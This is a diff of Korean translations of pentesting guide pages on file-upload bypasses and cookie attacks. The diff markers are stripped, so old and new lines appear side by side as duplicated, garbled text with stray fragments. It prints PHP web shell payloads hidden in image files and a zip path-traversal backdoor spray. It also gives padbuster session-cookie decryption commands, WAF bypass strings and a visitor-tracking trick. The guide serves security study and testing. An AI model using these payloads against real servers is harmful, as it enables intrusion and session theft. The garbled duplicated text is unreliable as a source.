AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# 페이로드 만들기
AAA<--SNIP 232 A-->AAA.php.png
```
### Content-Type, 매직 넘버, 압축 및 크기 조정 우회
- **Content-Type** 검사를 우회하려면 **Content-Type** **헤더**의 **값**을 다음으로 설정합니다: _image/png_, _text/plain_, application/octet-stream_
1. Content-Type **단어 목록**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- 파일의 시작 부분에 **실제 이미지의 바이트**를 추가하여 **매직 넘버** 검사를 우회합니다 (파일 명령을 혼란스럽게 함). 또는 **메타데이터** 내에 쉘을 삽입합니다:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` 또는 이미지를 통해 **페이로드를 직접 삽입**할 수도 있습니다:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- **압축이 이미지에 추가되는 경우**, 예를 들어 [PHP-GD](https://www.php.net/manual/fr/book.image.php)와 같은 표준 PHP 라이브러리를 사용하는 경우, 이전 기술은 유용하지 않을 수 있습니다. 그러나 **PLTE 청크** [**여기 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 **견딜 수 있는** 텍스트를 삽입할 수 있습니다.
- [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- 웹 페이지가 **이미지의 크기를 조정**할 수도 있습니다. 예를 들어 PHP-GD 함수 `imagecopyresized` 또는 `imagecopyresampled`를 사용합니다. 그러나 **IDAT 청크** [**여기 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 **견딜 수 있는** 텍스트를 삽입할 수 있습니다.
- [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- PHP-GD 함수 `thumbnailImage`를 사용하여 **이미지 크기 조정을 견딜 수 있는** 페이로드를 만드는 또 다른 기술입니다. 그러나 **tEXt 청크** [**여기 정의된 기술**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)을 사용하여 압축을 **견딜 수 있는** 텍스트를 삽입할 수 있습니다.
- [**코드가 있는 Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### 확인할 기타 트릭
- 이미 업로드된 파일의 이름을 **변경**할 수 있는 취약점을 찾습니다 (확장자를 변경).
- 백도어를 실행하기 위한 **로컬 파일 포함** 취약점을 찾습니다.
- **정보 유출 가능성**:
1. **동일한 파일**을 **여러 번** (그리고 **동시에**) **동일한 이름**으로 업로드합니다.
2. **이미 존재하는** **파일** 또는 **폴더**의 **이름**으로 파일을 업로드합니다.
3. **“.”, “..”, 또는 “…”**를 이름으로 가진 파일을 업로드합니다. 예를 들어, Apache에서 **Windows**의 경우, 애플리케이션이 업로드된 파일을 “/www/uploads/” 디렉토리에 저장하면, “.” 파일 이름은 “/www/” 디렉토리에 “uploads”라는 파일을 생성합니다.
4. **NTFS**에서 쉽게 삭제되지 않을 수 있는 파일을 업로드합니다 (예: **“…:.jpg”**). (Windows)
5. **Windows**에서 이름에 **잘못된 문자**가 포함된 파일을 업로드합니다 (예: `|<>*?”`). (Windows)
6. **Windows**에서 **예약된** (**금지된**) **이름**으로 파일을 업로드합니다 (예: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9).
- 또한 **실행 파일** (.exe) 또는 **.html** (덜 의심스러운) 파일을 업로드하여 피해자가 우연히 열었을 때 **코드를 실행**하도록 합니다.
### 특수 확장자 트릭
**PHP 서버**에 파일을 업로드하려는 경우, [코드를 실행하기 위한 **.htaccess** 트릭을 확인하십시오](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
**ASP 서버**에 파일을 업로드하려는 경우, [코드를 실행하기 위한 **.config** 트릭을 확인하십시오](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
`.phar` 파일은 Java의 `.jar`와 유사하지만 PHP용이며, **PHP 파일처럼 사용**될 수 있습니다 (PHP로 실행하거나 스크립트 내에 포함).
`.inc` 확장자는 때때로 파일을 **가져오는 데만 사용되는** PHP 파일에 사용되므로, 누군가 이 확장자가 **실행되도록 허용했을 수 있습니다**.
## **Jetty RCE**
Jetty 서버에 XML 파일을 업로드할 수 있는 경우, [**새로운 \*.xml 및 \*.war가 자동으로 처리되기 때문에 RCE를 얻을 수 있습니다**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** 따라서 다음 이미지에서 언급된 대로 XML 파일을 `$JETTY_BASE/webapps/`에 업로드하고 셸을 기대하십시오!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
이 취약점에 대한 자세한 탐색은 원본 연구를 확인하십시오: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
원격 명령 실행(RCE) 취약점은 `.ini` 구성 파일을 수정할 수 있는 경우 uWSGI 서버에서 악용될 수 있습니다. uWSGI 구성 파일은 "매직" 변수, 자리 표시자 및 연산자를 포함하기 위해 특정 구문을 활용합니다. 특히, `@(filename)`으로 사용되는 '@' 연산자는 파일의 내용을 포함하도록 설계되었습니다. uWSGI에서 지원되는 다양한 스킴 중 "exec" 스킴은 특히 강력하여 프로세스의 표준 출력에서 데이터를 읽을 수 있습니다. 이 기능은 원격 명령 실행 또는 임의 파일 쓰기/읽기를 위해 악용될 수 있습니다.
4. **서버 측의 확장자 파서를 속여** 보호를 우회해 보십시오. **확장자**를 **두 번** 추가하거나 **쓰레기** 데이터 (**null** 바이트)를 확장자 사이에 추가하는 기술을 사용할 수 있습니다. _이전의 **확장자
```ini
[uwsgi]
; read from a symbol
@ -130,8 +56,8 @@ uWSGI의 구성 파일 구문 분석의 느슨한 특성을 이해하는 것이
## **wget 파일 업로드/SSRF 트릭**
일부 경우 서버가 **`wget`**을 사용하여 **파일을 다운로드**하고 **URL**을 **지정**할 수 있는 경우가 있습니다. 이러한 경우, 코드는 다운로드된 파일의 확장자가 화이트리스트에 있는지 확인하여 허용된 파일만 다운로드되도록 보장할 수 있습니다. 그러나 **이 검사는 우회할 수 있습니다.**\
**리눅스**에서 **파일 이름**의 **최대** 길이는 **255**자이지만, **wget**은 파일 이름을 **236**자로 잘라냅니다. **"A"\*232+".php"+".gif"**라는 파일을 **다운로드**할 수 있으며, 이 파일 이름은 **검사**를 **우회**합니다(이 예에서 **".gif"**는 **유효한** 확장자입니다) 그러나 `wget`은 파일 이름을 **"A"\*232+".php"**로 **변경**합니다.
일부 경우, 서버가 **`wget`**을 사용하여 **파일을 다운로드**하고 **URL**을 **지정**할 수 있는 경우가 있습니다. 이러한 경우, 코드는 다운로드된 파일의 확장자가 화이트리스트에 있는지 확인하여 허용된 파일만 다운로드되도록 보장할 수 있습니다. 그러나 **이 검사는 우회할 수 있습니다.**\
**리눅스**에서 **파일 이름**의 **최대** 길이는 **255**자이지만, **wget**은 파일 이름을 **236**자로 잘라냅니다. **"A"\*232+".php"+".gif"**라는 파일을 **다운로드**할 수 있으며, 이 파일 이름은 **검사**를 **우회**합니다(이 예에서 **".gif"**는 **유효한** 확장자입니다) 하지만 `wget`은 파일 이름을 **"A"\*232+".php"**로 **변경**합니다.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -173,9 +99,9 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)에서 **다양한 svg 페이로드**를 시도해 보세요.
- [유명한 **ImageTrick** 취약점](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- **웹 서버에 URL에서 이미지를 가져오도록 지시할 수 있다면**, [SSRF](../ssrf-server-side-request-forgery/)를 악용할 수 있습니다. 이 **이미지**가 어떤 **공개** 사이트에 **저장**될 경우, [https://iplogger.org/invisible/](https://iplogger.org/invisible/)의 URL을 지정하여 **모든 방문자의 정보를 훔칠** 수 있습니다.
- [PDF-Adobe 업로드를 통한 **XXE 및 CORS** 우회](pdf-upload-xxe-and-cors-bypass.md)
- [PDF-Adobe 업로드 **XXE 및 CORS** 우회](pdf-upload-xxe-and-cors-bypass.md)
- XSS를 위한 특별히 제작된 PDF: [다음 페이지는 **PDF 데이터를 주입하여 JS 실행을 얻는 방법**을 제시합니다](../xss-cross-site-scripting/pdf-injection.md). PDF를 업로드할 수 있다면, 주어진 지침에 따라 임의의 JS를 실행할 PDF를 준비할 수 있습니다.
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) 내용을 업로드하여 서버에 **안티바이러스**가 있는지 확인합니다.
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) 콘텐츠를 업로드하여 서버에 **안티바이러스**가 있는지 확인합니다.
- 파일 업로드 시 **크기 제한**이 있는지 확인합니다.
여기 파일 업로드를 통해 달성할 수 있는 10가지 목록이 있습니다 (출처: [여기](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
@ -245,7 +171,7 @@ zip.close()
create_zip()
```
**압축을 용한 파일 스프레이**
**압축을 용한 파일 스프레이**
자세한 내용은 **원본 게시물을 확인하세요**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
@ -266,7 +192,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **Hex 편집기 또는 vi로 수정**: zip 내부의 파일 이름을 vi 또는 hex 편집기를 사용하여 "xxA"를 "../"로 변경하여 디렉토리를 탐색합니다.
3. **Hex 편집기 또는 vi로 수정**: zip 내부의 파일 이름을 vi 또는 hex 편집기를 사용하여 변경하여 "xxA"를 "../"로 변경하여 디렉토리를 탐색합니다.
```bash
:set modifiable
@ -293,11 +219,11 @@ PNG 파일의 IDAT 청크에 PHP 셸을 삽입하면 특정 이미지 처리 작
## 폴리글롯 파일
폴리글롯 파일은 사이버 보안에서 독특한 도구로 작용하며, 여러 파일 형식에서 동시에 유효하게 존재할 수 있는 카멜레온과 같습니다. 흥미로운 예로는 [GIFAR](https://en.wikipedia.org/wiki/Gifar)가 있으며, 이는 GIF와 RAR 아카이브로서 기능하는 하이브리드입니다. 이러한 파일은 이 조합에 국한되지 않으며, GIF와 JS 또는 PPT와 JS와 같은 조합도 가능합니다.
폴리글롯 파일은 사이버 보안에서 독특한 도구로 작용하며, 여러 파일 형식에서 동시에 유효하게 존재할 수 있는 카멜레온과 같습니다. 흥미로운 예로는 GIF와 RAR 아카이브로 기능하는 하이브리드인 [GIFAR](https://en.wikipedia.org/wiki/Gifar)가 있니다. 이러한 파일은 이 조합에 국한되지 않으며, GIF와 JS 또는 PPT와 JS와 같은 조합도 가능합니다.
폴리글롯 파일의 핵심 유용성은 파일 유형에 따라 파일을 검사하는 보안 조치를 우회할 수 있는 능력에 있습니다. 다양한 애플리케이션에서 일반적인 관행은 JPEG, GIF 또는 DOC와 같은 특정 파일 유형만 업로드를 허용하여 잠재적으로 해로운 형식(예: JS, PHP 또는 Phar 파일)으로 인한 위험을 완화하는 것입니다. 그러나 폴리글롯은 여러 파일 유형의 구조적 기준을 준수함으로써 이러한 제한을 은밀하게 우회할 수 있습니다.
그들의 적응성에도 불구하고, 폴리글롯은 한계에 직면합니다. 예를 들어, 폴리글롯이 PHAR 파일(PHp ARchive)과 JPEG를 동시에 포함할 수 있지만, 업로드의 성공 여부는 플랫폼의 파일 확장자 정책에 달려 있을 수 있습니다. 시스템이 허용되는 확장자에 대해 엄격하다면, 폴리글롯의 단순한 구조적 이중성만으로는 업로드를 보장할 수 없을 수 있습니다.
그들의 적응성에도 불구하고, 폴리글롯은 한계에 직면합니다. 예를 들어, 폴리글롯이 PHAR 파일(PHp ARchive)과 JPEG를 동시에 포함할 수 있지만, 업로드의 성공 여부는 플랫폼의 파일 확장자 정책에 달려 있을 수 있습니다. 시스템이 허용되는 확장자에 대해 엄격하다면, 폴리글롯의 단순한 구조적 이중성만으로는 업로드를 보장할 수 없습니다.
자세한 정보는: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)

View File

@ -35,14 +35,14 @@
쿠키를 구성할 때 이러한 속성을 이해하면 다양한 시나리오에서 예상대로 동작하도록 보장할 수 있습니다.
| **요청 유형** | **예제 코드** | **쿠키 전송 시** |
| ---------------- | ---------------------------------- | --------------------- |
| 링크 | \<a href="...">\</a> | NotSet\*, Lax, None |
| 프리렌더 | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
| 폼 GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
| 폼 POST | \<form method="POST" action="..."> | NotSet\*, None |
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
| AJAX | $.get("...") | NotSet\*, None |
| 이미지 | \<img src="..."> | NetSet\*, None |
| -------------- | -------------------------------- | ----------------- |
| 링크 | \<a href="...">\</a> | NotSet\*, Lax, None |
| 프리렌더 | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
| 폼 GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
| 폼 POST | \<form method="POST" action="..."> | NotSet\*, None |
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
| AJAX | $.get("...") | NotSet\*, None |
| 이미지 | \<img src="..."> | NetSet\*, None |
[Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/)에서 가져온 표이며 약간 수정되었습니다.\
_**SameSite**_ 속성이 있는 쿠키는 **CSRF 공격을 완화**합니다.
@ -58,10 +58,10 @@ _**SameSite**_ 속성이 있는 쿠키는 **CSRF 공격을 완화**합니다.
#### **우회 방법**
- 페이지가 요청의 응답으로 쿠키를 **전송하는 경우** (예: **PHPinfo** 페이지), XSS를 악용하여 이 페이지에 요청을 보내고 응답에서 **쿠키를 훔칠 수 있습니다** (예제는 [여기](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)에서 확인하세요).
- 페이지가 요청의 응답으로 쿠키를 **전송하는 경우** (예: **PHPinfo** 페이지에서), XSS를 악용하여 이 페이지에 요청을 보내고 응답에서 **쿠키를 훔칠 수 있습니다** (예제는 [여기](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)에서 확인하세요).
- 서버의 응답으로 **TRACE** **HTTP** 요청을 사용하여 우회할 수 있습니다 (이 HTTP 메서드가 사용 가능한 경우). 이 기술은 **교차 사이트 추적**이라고 합니다.
- 이 기술은 **현대 브라우저에서 JS로 TRACE 요청을 전송하는 것을 허용하지 않음으로써 방지됩니다**. 그러나 IE6.0 SP2에서 `TRACE` 대신 `\r\nTRACE`를 전송하는 등의 특정 소프트웨어에서 우회 방법이 발견되었습니다.
- 또 다른 방법은 브라우저의 제로/데이 취약점을 악용하는 것입니다.
- 또 다른 방법은 브라우저의 제로데이 취약점을 악용하는 것입니다.
- 쿠키 항아리 오버플로우 공격을 수행하여 **HttpOnly 쿠키를 덮어쓸 수 있습니다**:
{{#ref}}
@ -89,7 +89,7 @@ cookie-jar-overflow.md
### 쿠키 덮어쓰기
따라서 `__Host-` 접두사가 붙은 쿠키의 보호 중 하나는 하위 도메인에서 덮어쓰는 것을 방지하는 것입니다. 예를 들어 [**쿠키 토스 공격**](cookie-tossing.md)을 방지합니다. [**쿠키 크럼블: 웹 세션 무결성 취약점 공개**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**논문**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf))에서 하위 도메인에서 \_\_HOST- 접두사가 붙은 쿠키를 설정하는 것이 가능하다고 발표되었습니다. 파서를 속여서 예를 들어 시작 부분이나 끝 부분에 "="를 추가하는 방식입니다:
따라서 `__Host-` 접두사가 붙은 쿠키의 보호 중 하나는 하위 도메인에서 덮어쓰는 것을 방지하는 것입니다. 예를 들어 [**쿠키 토스 공격**](cookie-tossing.md)을 방지합니다. [**쿠키 크럼블: 웹 세션 무결성 취약점 공개**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**논문**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf))에서 하위 도메인에서 __HOST- 접두사가 붙은 쿠키를 설정하는 것이 가능하다고 제시되었습니다. 파서를 속여서 예를 들어 시작이나 끝에 "="를 추가하는 방법입니다:
<figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
@ -107,11 +107,11 @@ cookie-jar-overflow.md
### 세션 하이재킹
이 공격은 사용자의 쿠키를 훔쳐 애플리케이션 내에서 해당 계정에 무단으로 접근하는 것입니다. 도난당한 쿠키를 사용하여 공격자는 합법적인 사용자를 가장할 수 있습니다.
이 공격은 사용자의 쿠키를 훔쳐 애플리케이션 내에서 그들의 계정에 무단으로 접근하는 것입니다. 도난당한 쿠키를 사용하여 공격자는 합법적인 사용자를 가장할 수 있습니다.
### 세션 고정
이 시나리오에서 공격자는 피해자를 특정 쿠키를 사용하여 로그인하도록 속입니다. 애플리케이션이 로그인 시 새로운 쿠키를 할당하지 않으면, 공격자는 원래 쿠키를 가지고 피해자를 가장할 수 있습니다. 이 기술은 피해자가 공격자가 제공한 쿠키로 로그인하는 데 의존합니다.
이 시나리오에서 공격자는 피해자를 특정 쿠키를 사용하여 로그인하도록 속입니다. 애플리케이션이 로그인 시 새 쿠키를 할당하지 않으면, 원래 쿠키를 가진 공격자는 피해자를 가장할 수 있습니다. 이 기술은 피해자가 공격자가 제공한 쿠키로 로그인하는 데 의존합니다.
하위 도메인에서 **XSS를 발견했거나** 하위 도메인을 **제어하는 경우**, 읽어보세요:
@ -121,7 +121,7 @@ cookie-tossing.md
### 세션 기부
여기서 공격자는 피해자가 공격자의 세션 쿠키를 사용하도록 설득합니다. 피해자는 자신의 계정에 로그인했다고 믿고 공격자의 계정 컨텍스트에서 무심코 작업을 수행하게 됩니다.
여기서 공격자는 피해자가 공격자의 세션 쿠키를 사용하도록 설득합니다. 피해자는 자신의 계정에 로그인했다고 믿고 공격자의 계정 컨텍스트에서 무의식적으로 작업을 수행하게 됩니다.
하위 도메인에서 **XSS를 발견했거나** 하위 도메인을 **제어하는 경우**, 읽어보세요:
@ -137,7 +137,7 @@ cookie-tossing.md
### 교차 사이트 요청 위조 (CSRF)
이 공격은 로그인된 사용자가 현재 인증된 웹 애플리케이션에서 원 않는 작업을 수행하도록 강요합니다. 공격자는 취약한 사이트에 대한 모든 요청과 함께 자동으로 전송되는 쿠키를 악용할 수 있습니다.
이 공격은 로그인된 사용자가 현재 인증된 웹 애플리케이션에서 원하지 않는 작업을 수행하도록 강요합니다. 공격자는 취약한 사이트에 대한 모든 요청과 함께 자동으로 전송되는 쿠키를 악용할 수 있습니다.
### 빈 쿠키
@ -167,7 +167,7 @@ document.cookie = "\ud800=meep"
#### 파싱 문제로 인한 쿠키 스머글링
(자세한 내용은 [원본 연구](https://blog.ankursundara.com/cookie-bugs/)를 참조하십시오) Java(Jetty, TomCat, Undertow) 및 Python(Zope, cherrypy, web.py, aiohttp, bottle, webob)에서 제공하는 여러 웹 서버는 구식 RFC2965 지원으로 인해 쿠키 문자열을 잘못 처리합니다. 이들은 세미콜론이 포함되어 있어도 이중 인용된 쿠키 값을 단일 값으로 읽으며, 세미콜론은 일반적으로 키-값 쌍을 구분해야 합니다.
(자세한 내용은 [원본 연구](https://blog.ankursundara.com/cookie-bugs/)를 참조하세요) Java(Jetty, TomCat, Undertow) 및 Python(Zope, cherrypy, web.py, aiohttp, bottle, webob)에서 제공하는 여러 웹 서버는 구식 RFC2965 지원으로 인해 쿠키 문자열을 잘못 처리합니다. 이들은 세미콜론이 포함되어 있어도 이중 인용된 쿠키 값을 단일 값으로 읽으며, 세미콜론은 일반적으로 키-값 쌍을 구분해야 합니다.
```
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
```
@ -183,11 +183,11 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
### 쿠키 $version 및 WAF 우회
[**이 블로그 게시물**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie)에 따르면, 쿠키 속성 **`$Version=1`**을 사용하여 백엔드가 쿠키를 파싱하는 데 오래된 논리를 사용할 수 있을 가능성이 있습니다. **RFC2109**에 따라, **`$Domain`** 및 **`$Path`**와 같은 다른 값도 쿠키와 함께 백엔드의 동작을 수정하는 데 사용될 수 있습니다.
[**이 블로그 게시물**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie)에 따르면, **`$Version=1`** 쿠키 속성을 사용하여 백엔드가 쿠키를 파싱하는 오래된 논리를 사용할 수 있을지도 모릅니다. 이는 **RFC2109** 때문입니다. 또한 **`$Domain`** 및 **`$Path`**와 같은 다른 값을 사용하여 쿠키와 함께 백엔드의 동작을 수정할 수 있습니다.
#### 인용 문자열 인코딩을 통한 우회 값 분석
이 파싱은 쿠키 내에서 이스케이프된 값을 언이스케이프하도록 지시하므로, "\a"는 "a"가 됩니다. 이는 WAF를 우회하는 데 유용할 수 있습니다:
이 파싱은 쿠키 내부의 이스케이프된 값을 언이스케이프하도록 지시하므로, "\a"는 "a"가 됩니다. 이는 WAF를 우회하는 데 유용할 수 있습니다:
- `eval('test') => forbidden`
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed`
@ -205,7 +205,7 @@ Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;
```
이 예제와 같이 WAF를 우회할 수 있게 해줄 수 있습니다:
이 예제와 같이 WAF를 우회할 수 있습니다:
```
Cookie: name=eval('test//
Cookie: comment')
@ -218,10 +218,10 @@ Resulting cookie: name=eval('test//, comment') => allowed
- **쿠키**가 매번 **로그인**할 때 **같은** 경우입니다.
- 로그아웃하고 같은 쿠키를 사용해 보세요.
- 두 개의 장치(또는 브라우저)로 같은 계정에 같은 쿠키 로그인해 보세요.
- 두 개의 장치(또는 브라우저)로 같은 계정에 같은 쿠키를 사용하여 로그인해 보세요.
- 쿠키에 정보가 있는지 확인하고 수정해 보세요.
- 거의 같은 사용자 이름으로 여러 계정을 생성하고 유사성을 확인해 보세요.
- "**기억하기**" 옵션이 있는지 확인하고 어떻게 작동하는지 살펴보세요. 존재하고 취약할 수 있다면, 다른 쿠키 없이 항상 **기억하기** 쿠키를 사용하세요.
- "**기억하기**" 옵션이 존재하는지 확인하여 어떻게 작동하는지 살펴보세요. 존재하고 취약할 수 있다면, 다른 쿠키 없이 항상 **기억하기** 쿠키를 사용하세요.
- 비밀번호를 변경한 후에도 이전 쿠키가 작동하는지 확인하세요.
#### **고급 쿠키 공격**
@ -229,7 +229,7 @@ Resulting cookie: name=eval('test//, comment') => allowed
로그인할 때 쿠키가 동일하게 유지되거나 거의 동일하다면, 이는 쿠키가 귀하의 계정의 일부 필드(아마도 사용자 이름)와 관련이 있음을 의미합니다. 그러면 다음을 시도할 수 있습니다:
- 매우 **유사한** 사용자 이름으로 많은 **계정**을 생성하고 알고리즘이 어떻게 작동하는지 **추측**해 보세요.
- **사용자 이름을 브루트포스**해 보세요. 쿠키가 사용자 이름에 대한 인증 방법으로만 저장된다면, 사용자 이름 "**Bmin**"으로 계정을 생성하고 쿠키의 모든 **비트**를 **브루트포스**할 수 있습니다. 왜냐하면 시도할 쿠키 중 하나는 "**admin**"에 속하는 쿠키일 것이기 때문입니다.
- **사용자 이름을 브루트포스**해 보세요. 쿠키가 사용자 이름에 대한 인증 방법으로만 저장된다면, 사용자 이름 "**Bmin**"으로 계정을 생성하고 쿠키의 모든 **비트**를 **브루트포스**할 수 있습니다. 시도할 쿠키 중 하나는 "**admin**"에 속하는 쿠키가 될 것입니다.
- **패딩** **오라클**을 시도해 보세요(쿠키의 내용을 복호화할 수 있습니다). **패드버스터**를 사용하세요.
**패딩 오라클 - 패드버스터 예제**
@ -242,7 +242,7 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
```
Padbuster는 여러 번 시도하며 어떤 조건이 오류 조건인지(유효하지 않은 조건) 물어봅니다.
Padbuster는 여러 번 시도하며 어떤 조건이 오류 조건(유효하지 않은 조건)인지 물어봅니다.
그런 다음 쿠키를 해독하기 시작합니다(몇 분이 걸릴 수 있습니다).
@ -271,9 +271,9 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
거의 동일한 데이터(사용자 이름, 비밀번호, 이메일 등)를 가진 2명의 사용자를 생성하고 주어진 쿠키 내에서 어떤 패턴을 발견하려고 시도합니다.
예를 들어 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"라는 사용자를 생성하고 쿠키에서 패턴이 있는지 확인합니다(ECB는 동일한 키로 모든 블록을 암호화하므로 사용자 이름이 암호화되면 동일한 암호화된 바이트가 나타날 수 있습니다).
예를 들어 "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"라는 사용자를 생성하고 쿠키에서 패턴이 있는지 확인합니다(ECB는 매 블록마다 동일한 키로 암호화하므로 사용자 이름이 암호화되면 동일한 암호화된 바이트가 나타날 수 있습니다).
사용된 블록의 크기로 패턴이 있어야 합니다. 따라서 "a"의 암호화된 묶음을 알고 있으면 사용자 이름을 생성할 수 있습니다: "a"\*(블록의 크기)+"admin". 그런 다음 쿠키에서 "a" 블록의 암호화된 패턴을 삭제할 수 있습니다. 그러면 사용자 이름 "admin"의 쿠키를 얻게 됩니다.
사용된 블록의 크기만큼 "a"가 암호화된 방식에 대한 패턴이 있어야 합니다. 따라서 "a"\*(블록의 크기)+"admin"이라는 사용자 이름을 생성할 수 있습니다. 그런 다음 쿠키에서 "a" 블록의 암호화된 패턴을 삭제할 수 있습니다. 그러면 사용자 이름 "admin"의 쿠키를 얻게 됩니다.
## References

View File

@ -1,6 +1,6 @@
{{#include ../../banners/hacktricks-training.md}}
**`Cookie bomb`**는 **사용자를 대상으로 도메인 및 그 하위 도메인에 많은 양의 큰 쿠키를 추가하는 것**을 포함합니다. 이 작업은 피해자가 **과도한 HTTP 요청**을 서버에 전송하게 하며, 이는 이후 **서버에 의해 거부됩니다**. 이로 인해 해당 도메인 및 그 하위 도메인 내의 특정 사용자에 대한 서비스 거부(DoS)가 발생하게 됩니다.
**`Cookie bomb`**는 **사용자를 대상으로 도메인 및 그 하위 도메인에 많은 양의 큰 쿠키를 추가하는 것**을 포함합니다. 이 행동은 피해자가 **서버에 과도한 HTTP 요청을 전송하게** 하며, 이는 이후 **서버에 의해 거부됩니다**. 이로 인해 해당 도메인 및 그 하위 도메인 내의 사용자를 특정하여 서비스 거부(DoS)가 발생하게 됩니다.
좋은 **예시**는 이 글에서 볼 수 있습니다: [https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)

View File

@ -1,6 +1,6 @@
{{#include ../../banners/hacktricks-training.md}}
브라우저는 페이지에 저장할 수 있는 **쿠키의 수에 제한**이 있습니다. 따라서 어떤 이유로 **쿠키를 사라지게** 해야 하는 경우, **쿠키 항아리를 오버플로우**시킬 수 있습니다. 그러면 가장 오래된 쿠키가 삭제됩니다:
브라우저는 페이지에 저장할 수 있는 **쿠키의 수에 제한**이 있습니다. 따라서 어떤 이유로 **쿠키를 사라지게** 해야 하는 경우, **쿠키 항아리를 오버플로우**하여 가장 오래된 쿠키가 삭제되도록 할 수 있습니다:
```javascript
// Set many cookies
for (let i = 0; i < 700; i++) {
@ -12,7 +12,7 @@ for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`
}
```
타사 쿠키가 다른 도메인을 가리키는 경우 덮어쓰이지 않음을 유의하십시오.
타사 쿠키가 다른 도메인을 가리키는 경우 덮어쓰이지 않음을 유의하세요.
> [!CAUTION]
> 이 공격은 **HttpOnly 쿠키를 덮어쓸 수 있습니다. 쿠키를 삭제한 다음 원하는 값으로 재설정할 수 있습니다**.

View File

@ -11,24 +11,24 @@
> [!CAUTION]
> 따라서, **공격자는 특정 쿠키를 도메인과 서브도메인에 설정할 수 있습니다. 예를 들어** `document.cookie="session=1234; Path=/app/login; domain=.example.com"`
것은 위험할 수 있으며, 공격자는 다음과 같은 작업을 수행할 수 있습니다:
위험할 수 있으며, 공격자는 다음과 같은 작업을 수행할 수 있습니다:
